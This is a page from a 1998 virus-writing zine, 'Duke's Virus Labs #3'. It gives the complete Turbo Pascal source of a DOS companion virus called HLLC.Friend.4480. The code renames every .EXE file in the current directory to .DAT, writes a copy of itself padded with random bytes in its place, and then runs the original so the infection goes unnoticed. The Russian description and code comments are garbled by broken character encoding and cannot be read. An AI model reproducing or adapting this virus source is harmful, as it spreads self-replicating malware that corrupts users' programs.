- [Duke's Virus Labs #3] - [Page 10] -

HLLC.Friend.4480
(c) by Duke/SMF

     : HLLC.Friend.4480 aka Friend-5
         : Duke/SMF
 ᮧ : 12.11.98

   䠩 쮭 , ࠦ騩 EXE-䠩  ⥪饬 ⠫.
 ⢠ २뢠  DAT-䠩,   뢠
   EXE-䠩. ⮡ । ࠢ ࠦ 䠩,
 ᥣ  ᪠ DAT-䠩 !!!
   ࠧ 뢠  㦤 ⭮⥫쭮 ⮣, 
  ⮫쪮 EXE/COM/BAT 䠩.    !
(㣮  - 㤥    ࠡ :) ᯮ  ᯮᮡ
 ᠭ HLLC-ᮢ  ⮨  㬠  ﭭ
२뢠 䠩-   - 筮  ࠧ.
        ⮫ Kill/Hell13 ,  
 讥 ᯠᨡ :))

===== Cut here =====
{$M 5000, 0, 5000}
uses dos;
const virsize=4480;                         { }
      d='.DAT';
var  ds:dirstr;
     ns:namestr;
     es:extstr;
     g:file;
     mas:array[1..virsize] of char;         {⥫ }
     st:string;
     par:string;                            {ࠬ  ப}
     i:integer;
     ch:byte;
{----------------------------------------------------------------------------}
procedure Zar(n:string);                    {楤 ࠦ}
var b:file;
begin
Randomize;                                  {樨㥬 }
fsplit(n,ds,ns,es);
st:=ds+ns+d;
assign(g,st);{$I-}reset(g,1);{$I+}          {஢塞,   㦥 䠩}
                                            { ७ DAT}
if ioresult<>0 then                         {᫨  =>   ࠦ...}
  begin
  assign(b,n);
  rename(b,st);                             {... २뢠 }
  assign(b,n);
  rewrite(b,1);                             {... ᮧ 쮭}
  blockwrite(b,mas,virsize);                {... 襬 }
  for i:=1 to random(500) do                {... 襬 }
    begin
    ch:=random(250);
    blockwrite(b,ch,1);
    end;
  close(b);                                 {ࠦ 襭 !}
  end
else close(g);
end;
{-----------------------------------------------------------------------------}
procedure Find;                             { ⥭樠 }
var s:searchrec;
    f:file;
begin
assign(f,paramstr(0));
reset(f,1);
blockread(f,mas,virsize);                   {뢠   }
close(f);
findfirst('*.exe',$21,s);                   {饬 ...}
while doserror=0 do
  begin
  zar(s.name);                              {뢠 ࠦ}
  findnext(s);                              {᭮ 饬...}
  end;
end;
{-----------------------------------------------------------------------------}
begin
asm
  jmp @1
  db  '[Friend-5, Duke/SMF]'               { ࠩ ;)}
  @1:
end;
fsplit(paramstr(0),ds,ns,es);
st:=ds+ns+d;
assign(g,st);{$I-}reset(g);{$I+}            {᫨  ࠦ 䠩...}
if ioresult=0 then
  begin
  close(g);
  par:='';                                  {  ࠭塞 ࠬ...}
  for i:=1 to paramcount do par:=par+' '+paramstr(i);
  exec(st,par);                             {  ᪠   DAT-䠩!}
  end;
Find;                                       {஢  }
end.
===== Cut here =====
